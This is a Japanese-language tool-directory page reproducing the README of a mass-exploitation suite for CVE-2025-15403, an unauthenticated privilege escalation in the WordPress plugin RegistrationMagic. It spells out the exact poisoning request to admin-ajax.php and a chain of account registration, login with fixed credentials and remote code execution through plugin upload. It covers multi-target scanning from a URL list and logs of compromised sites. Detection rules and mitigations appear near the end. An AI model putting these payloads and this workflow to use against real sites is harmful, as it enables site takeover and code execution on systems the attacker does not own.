Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-15403 — RegistrationMagic <= 6.0.7.1 - admin_order 経由の未認証権限昇格 | Kitploit
ツール/GitHubGitHub/nxploited/cve-2025-15403
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストレッドチーミングペイロード開発
GitHubnxploited/cve-2025-15403

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - admin_order 経由の未認証権限昇格

リポジトリを見る
14ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - admin_order を介した認証不要の権限昇格

root@kitploit:~
 ,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'      , ;--'   ,.  ,-.  ,--, 
/    |  /  |           ) /  /\    ) |        '| |     / | /  /\   /  
|    | /   |-   ---   /  | / |   /  `-.  ---  | `-.  '--| | / |  `.  
\    |/    |         /   \/  /  /      )      |    )    | \/  /    ) 
 `-' '     `--'     '--'  `-'  '--' `-'       ' `-'     '  `-'  `-'  

Telegram CVE CVSS Python License


📡 インテルは最初にここで公開される。 Telegram で @KNxploited をフォロー — 正確な CVE 公開、動作するエクスプロイト、詳細な脆弱性研究。 ニュースを待たない人のためのチャンネル — 彼らがニュースを創る。


🧠 概要

CVE-2025-15403 は、WordPress 用プラグイン RegistrationMagic における CVSS 9.8 Critical の権限昇格(Privilege Escalation)脆弱性です。

この欠陥はプラグインの add_menu 関数に存在し、rm_user_exists AJAX アクションを介して認証なしで露出しています。攻撃者は order パラメータに空のスラッグを注入し、enable_admin_order=yes フラグと併用することで、プラグインの内部メニュー生成ロジックを操作します。その後、管理者メニューが構築される際、プラグインは対象ロールに対して add_cap('manage_options') を静かに呼び出し、サブスクライバー層のアカウントを完全な管理者権限へと昇格させます。


💀 脆弱性の詳細

根本原因は、add_menu 関数が rm_user_exists を通じて認証なしで呼び出し可能であり、加えて admin_order スラッグの検証が一切存在しないことです:

root@kitploit:~
// Registered with no capability check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);

public function rm_user_exists_handler() {
    $slug     = sanitize_text_field($_POST['rm_slug']);
    $order    = $_POST['order'];   // ← User-controlled, NOT sanitized
    $role_key = /* derived from POST */;
    $enable   = $_POST['enable_admin_order'];

    if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
        // Stores attacker-controlled order into plugin options
        update_option('rm_admin_order', $order);  // e.g. ",menu1" → empty first slug
    }
}

// Later, when admin menu is being built...
public function add_menu() {
    $order = get_option('rm_admin_order');  // ← Poisoned by attacker
    $slugs = explode(',', $order);

    foreach ($slugs as $slug) {
        if (empty($slug)) {
            // Empty slug triggers unconditional capability grant
            $role->add_cap('manage_options');  // ← FULL ADMIN CAPABILITY ADDED
        }
    }
}

なぜこれが重大なのか:

  • wp_ajax_nopriv_* = オプションを汚染するために認証が一切不要
  • order=,menu1 内の空スラッグは empty() チェックを通過し、add_cap('manage_options') をトリガーする
  • manage_options は WordPress の最高権限 — 管理者(Administrator)と同等
  • 既存のサブスクライバーアカウントは、次回の管理者メニュー読み込み時に即座に完全な管理者権限を獲得する
  • AJAX 段階は事前認証が不要 — 攻撃チェーン全体の障壁をほぼゼロにしている

⚔️ エクスプロイトチェーン

root@kitploit:~
╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 1 — Unauthenticated Option Poisoning                             ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-admin/admin-ajax.php

  action            = rm_user_exists
  rm_slug           = rm_options_admin_menu
  order             = ,menu1              ← empty first element = empty slug
  _Subscriber       = 1                  ← target role key
  restore           = false
  enable_admin_order= yes

Response: HTTP 200 (any non-blocked response = option poisoned)

  ↓ Plugin stores order=",menu1" into wp_options
  ↓ Next admin menu build triggers add_cap('manage_options') on Subscriber role

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 2 — Account Acquisition (Subscriber)                             ║
╚══════════════════════════════════════════════════════════════════════════╝

Option A — Register via the site's registration form (Mode 0):
  GET  /wp-login.php?action=register  → smart form detection
  POST → create subscriber account
  Credentials: NXploited / xplpass123

Option B — Use an existing subscriber account.

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 3 — Login + Capability Harvest                                   ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-login.php
  log = NXploited
  pwd = xplpass123
  ↓
Subscriber account now carries manage_options → full admin panel accessible

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 4 — Deep Verification & RCE via Plugin Upload                    ║
╚══════════════════════════════════════════════════════════════════════════╝

GET  /wp-admin/                          → Admin dashboard accessible ✔️
GET  /wp-admin/plugin-install.php        → Plugin install page accessible ✔️
POST /wp-admin/update.php?action=upload-plugin
     pluginzip = Nxploited.zip           → Plugin uploaded & executed ✔️
GET  /wp-content/plugins/Nxploited/hello.php
     Response contains "Nxploited"       → CONFIRMED RCE ✔️

🎯 動作モード

このエクスプロイトスイートは、攻撃ライフサイクル全体をカバーする3つの異なるモードを提供します:


⚙️ 要件

root@kitploit:~
pip install requests colorama urllib3

Python 3.8+ が必要です。Python 3.10+ を推奨します(X | Y ユニオン型ヒントを使用)。


📂 ファイル構成

root@kitploit:~
CVE-2025-15403/
├── CVE-2025-15403.py                 # Main exploit suite
├── list.txt                          # Target URLs — one per line
│
├── rm_register_results.txt           # Mode 0: successful registrations
├── rm_exploit_results.txt            # Mode 1 & 2: primitive fire log
├── rm_admin_verify.txt               # Mode 2: login + admin verification log
├── rm_plugin_uploads.txt             # Mode 2: plugin upload attempt log
│
├── rm_admin_dashboard_success.txt    # ✔ Sites where admin dashboard confirmed
├── rm_plugin_install_access.txt      # ✔ Sites where plugin-install page accessible
└── rm_plugin_rce_success.txt         # ✔ Sites where RCE via plugin upload confirmed

下部にある3つの _success ファイルは段階的な侵害レベルを表します — 各ファイルは、その条件が確認され次第、独立して書き込まれます。


🚀 使用方法

ステップ1 — ターゲットを準備

1行につき1つの URL またはホスト名を記載した list.txt を作成します:

root@kitploit:~
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com

スキームのないベアホスト名には、自動的に https:// が前置されます。 サブディレクトリ型の WordPress インストール(例: /wordpress)は自動的に検出・処理されます。


ステップ2 — スイートを実行

root@kitploit:~
python CVE-2025-15403.py

すべてのパラメータは対話形式でプロンプト表示されます。モード2 のセッション例:

root@kitploit:~
Select mode (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 20
HTTP timeout (seconds) [10]: 12
Role key to escalate (e.g. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Username to login with (e.g. NXploited) [NXploited]: NXploited
Password for that user [xplpass123]: xplpass123
Output file for admin verification [rm_admin_verify.txt]: rm_admin_verify.txt
Output file for plugin upload tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Send primitive before login in mode 2? (yes/no) [yes]: yes

ステップ3 — ライブ出力を監視

root@kitploit:~
[14:31:01] info | Mode 2: Exploit + Login + Deep Verify | Targets: 200
[14:31:02] SESSION | https://target.com | PRIM: OK   | REG: SKIP | LOGIN: OK   | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK   | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: -    | ACCESS: NO HIT

📊 出力ファイルリファレンス

rm_admin_dashboard_success.txt

権限昇格後にサブスクライバーアカウントが /wp-admin/ へのアクセスに成功したサイト:

root@kitploit:~
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard

rm_plugin_install_access.txt

プラグインインストールページにアクセス可能だったサイト(manage_options を確認):

root@kitploit:~
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access

rm_plugin_rce_success.txt

テストプラグインがアップロード・実行されたサイト — RCE 確認済み:

root@kitploit:~
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload

🖥️ スクリプトパラメータリファレンス


🔬 検証ロジック(モード2)

モード2 は3段階の段階的検証を実行します — 各段階は独立しており、それぞれ独自の結果ファイルを書き込みます:

root@kitploit:~
Stage 1 — Admin Dashboard
  GET /wp-admin/
  GET /wp-admin/index.php
  GET /wp-admin/users.php
  Check for: "dashboard", "adminmenu", "manage_options", "plugins.php"
  ✔ → writes to rm_admin_dashboard_success.txt

Stage 2 — Plugin Install Page Access
  GET /wp-admin/plugin-install.php
  GET /wp-admin/plugin-install.php?tab=upload
  Check for: "upload-plugin", "plugin-upload-form", "pluginzip"
  ✔ → writes to rm_plugin_install_access.txt

Stage 3 — Real Plugin Upload + Execution (RCE Proof)
  Extract _wpnonce from plugin-install page
  POST /wp-admin/update.php?action=upload-plugin
       pluginzip = Nxploited.zip (in-memory generated)
  GET  /wp-content/plugins/Nxploited/hello.php
  Check response body contains "Nxploited"
  ✔ → writes to rm_plugin_rce_success.txt

合格した各段階は独立して記録されます — ステージ1 は通過したがステージ3 を通過しなかったターゲットも、rm_admin_dashboard_success.txt には記録されます。


🔍 スマート登録エンジン(モード0)

モード0 はカスタム HTML フォームパーサーを使用して、WordPress の登録フォーム(カスタムの RegistrationMagic フォームを含む)を自動的に検出・送信します:

root@kitploit:~
Probe URLs (in order):
  /wp-login.php?action=register
  /register/
  /signup/
  /wp-signup.php
  /wp-login.php

For each page:
  → Parse all <form> elements
  → Score each form (0–200 points):
      +100  "user_login" + "user_email" fields present
      + 60  Email + username-like fields present
      + 30  rm_* prefixed input fields (RegistrationMagic specific)
      + 20  form id/class contains "register" / "signup"
      + 10  Page body mentions "register" / "sign up"
  → Submit highest-scoring form (threshold: 40+)
  → Verify success via response body / redirect URL

📊 検出シグネチャ

このエクスプロイトによって生成されるネットワークパターン — 防御側および WAF/IDS 作成者向け:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes

WAF / IDS ルール(疑似コード):

root@kitploit:~
IF  request.method == POST
AND request.path   == "/wp-admin/admin-ajax.php"
AND request.body   CONTAINS "rm_user_exists"
AND request.body   CONTAINS "rm_options_admin_menu"
AND request.body   CONTAINS "enable_admin_order=yes"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2025-15403)

追加の検出 — オプション汚染:

root@kitploit:~
Monitor wp_options table:
  IF option_name = "rm_admin_order"
  AND option_value STARTS WITH ","
  THEN ALERT — potential CVE-2025-15403 exploitation

🛡️ 緩和策と是正措置

サイト運営者、開発者、または防御側の方は、直ちに対処してください:

  • ✅ RegistrationMagic を 6.0.7.1 より上のバージョンに更新する
  • ✅ 修正済みバージョンが確認できるまで、プラグインを無効化して削除する
  • ✅ wp_options テーブルを監査する — rm_admin_order の値に不審なエントリ(例: , で始まるもの)がないか確認する
  • ✅ すべての WordPress ユーザーを監査する — manage_options 権限を持つ不正なアカウントを削除または降格する
  • ✅ すべての wp_ajax_nopriv_* ハンドラーに権限チェックを追加する — オプション書き込み関数を認証なしで公開しない
  • ✅ order パラメータを検証・サニタイズする — 空のスラッグセグメントを含む値を拒否する
  • ✅ WAF レベルで、rm_options_admin_menu を含む admin-ajax.php への認証不要の POST リクエストをブロックする
  • ✅ 認証されていない送信元からの rm_user_exists AJAX アクション呼び出しがないか、WordPress およびサーバーのログを監視する

⚠️ 免責事項

root@kitploit:~
THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.

By downloading, executing, or modifying this script, you explicitly agree:

  • You hold EXPLICIT, WRITTEN authorization from the owner of every
    target system you test. No exceptions. No assumptions.

  • You are operating within a formally scoped, authorized penetration
    testing engagement or a controlled lab environment you own.

  • You will NOT deploy this tool against any system, network, or
    infrastructure without documented legal permission.

  • Nxploited and all contributors bear ZERO liability for unauthorized
    use, data loss, system damage, legal proceedings, or criminal
    prosecution arising from the use of this tool in any form.

Unauthorized use of this exploit constitutes a criminal offense under:
  — Computer Fraud and Abuse Act (CFAA), USA
  — Computer Misuse Act (CMA), UK
  — EU Directive 2013/40/EU on Attacks Against Information Systems
  — Saudi Arabia's Anti-Cyber Crime Law (No. M/17)
  — And all equivalent national and international cybercrime legislation.

USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.

👤 作成者

ハンドルNxploited
Telegram@KNxploited
GitHubgithub.com/Nxploited

🔔 Telegram で @KNxploited をフォロー 新鮮な CVE。動作するエクスプロイト。ノイズなし。遅延なし。 本気の研究者が研ぎ澄まされた状態を保つチャンネル。


Nxploited によって精密に設計された · 認可されたセキュリティ研究専用 · CVSS 9.8 Critical
ツールをダウンロード
フィールド詳細
CVE IDCVE-2025-15403
プラグインRegistrationMagic
スラッグregistrationmagic / custom-registration-form-builder-with-submission-manager
影響を受けるバージョン6.0.7.1 までの全バージョン
脆弱性の種類認証不要の権限昇格
攻撃要件AJAX 段階: 不要。悪用段階: サブスクライバーアカウント
攻撃ベクトルネットワーク
CVSS 3.1 スコア9.8 CRITICAL
CVSS ベクターAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
影響WordPress 管理者アカウントの完全な乗っ取り
研究者Nxploited
モード名前説明
0登録のみスマートな WordPress フォーム検出 + サブスクライバーアカウント登録
1エクスプロイトのみadmin_order を汚染する認証不要の AJAX プリミティブを実行
2エクスプロイト + ログイン + 検証完全チェーン: プリミティブ → ログイン → 管理ダッシュボード → プラグインインストール → RCE
依存関係用途
requestsHTTP セッション、Cookie 処理、リダイレクト追跡
coloramaクロスプラットフォーム対応のカラー端末出力
urllib3自己署名証明書に対する SSL 警告の抑制
concurrent.futures高スループットなマルチターゲットスキャンのためのスレッドプール
zipfileRCE 検証用のテストプラグイン ZIP をメモリ内で生成
html.parserスマートな登録フォームの検出とフィールド抽出
色タグ意味
🔵 シアンinfo情報 — モード開始、設定
🟢 グリーンok完全成功 — 管理者アクセスまたは RCE が確認された
🟡 イエローwarn部分的な結果 — プリミティブ成功だがログイン失敗など
🔴 レッドerr重大な失敗 — ファイルが見つからない、例外、ブロック
パラメータデフォルト説明
モード0攻撃モード: 0 = 登録、1 = エクスプロイト、2 = 完全チェーン
ターゲットファイルlist.txtターゲット URL を含むファイル
スレッド数5(上限なし)並行実行する ThreadPoolExecutor ワーカー数
タイムアウト10 秒リクエストごとの HTTP タイムアウト
ロールキー_Subscriber昇格させる WordPress ロール(_Editor、_Author など)
ユーザー名NXploited登録 / ログインに使用するアカウント
パスワードxplpass123そのアカウントのパスワード
プリミティブ送信yesモード2 でログイン前に AJAX 段階を実行するかどうか